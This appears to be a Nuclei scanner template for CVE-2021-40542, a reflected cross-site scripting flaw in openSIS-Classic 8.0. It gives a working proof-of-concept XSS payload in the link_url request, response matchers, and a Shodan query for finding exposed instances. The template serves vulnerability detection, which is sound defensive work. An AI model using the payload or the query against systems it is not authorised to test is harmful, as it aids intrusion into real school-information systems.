51 lines
1.6 KiB
YAML
51 lines
1.6 KiB
YAML
id: CVE-2021-40542
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info:
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name: Opensis-Classic 8.0 - Cross-Site Scripting
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author: alph4byt3
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severity: medium
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description: |
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Opensis-Classic Version 8.0 is affected by cross-site scripting. An unauthenticated user can inject and execute JavaScript code through the link_url parameter in Ajax_url_encode.php.
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remediation: |
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To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor.
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reference:
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- https://github.com/OS4ED/openSIS-Classic/issues/189
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- https://nvd.nist.gov/vuln/detail/CVE-2021-40542
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-40542
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cwe-id: CWE-79
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epss-score: 0.00643
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epss-percentile: 0.76894
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cpe: cpe:2.3:a:os4ed:opensis:8.0:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: os4ed
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product: opensis
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shodan-query: http.title:"openSIS"
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tags: xss,cve,cve2021,opensis
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http:
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- method: GET
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path:
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- '{{BaseURL}}/Ajax_url_encode.php?link_url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "</script><script>alert(document.domain)</script>"
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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# digest: 4a0a00473045022100d39c3dc8fa5655a681d536c1f0d50f67e7f6aaca4ff419521b7f61f506e42407022057b57e6d9be923ab492650dcb6c6163da05b018f7339884caf89267c28eca3cc:922c64590222798bb761d5b6d8e72950
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